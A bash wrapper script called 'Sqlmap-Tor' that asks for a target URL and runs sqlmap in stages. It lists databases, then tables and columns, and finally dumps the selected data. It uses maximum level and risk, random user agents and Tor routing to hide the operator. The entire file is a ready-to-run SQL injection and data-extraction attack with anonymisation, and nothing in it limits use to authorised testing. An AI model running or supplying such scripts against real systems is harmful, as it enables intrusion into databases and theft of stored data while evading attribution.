#!/bin/bash

clear
echo Sqlmap-Tor
echo Proxy needs to be set to SOCKS5
echo Tor port:
read port
echo Target URL:
read url
python ./sqlmap/sqlmap.py -u "$url" -dbs --eta --beep --smart -o --level=5 --risk=3 --threads=10 --random-agent --tor --tor-port=$port --tor-type=SOCKS5 --check-tor
echo Databases:
read db
python ./sqlmap/sqlmap.py -u "$url" -D $db -tables --eta --beep  --smart -o --level=5 --risk=3 --threads=10 --random-agent --tor --tor-port=$port --tor-type=SOCKS5 --check-tor
echo Tables:
read tab
python ./sqlmap/sqlmap.py -u "$url" -D $db -T $tab -columns --eta --beep --smart -o --level=5 --risk=3 --threads=10 --random-agent --tor --tor-port=$port --tor-type=SOCKS5 --check-tor
echo Colums:
read col
python ./sqlmap/sqlmap.py -u "$url" -D $db -T $tab -C $col --eta --beep --smart -o --level=5 --risk=3 --threads=10 --random-agent --dump --tor --tor-port=$port --tor-type=SOCKS5 --check-tor
read -n1
clear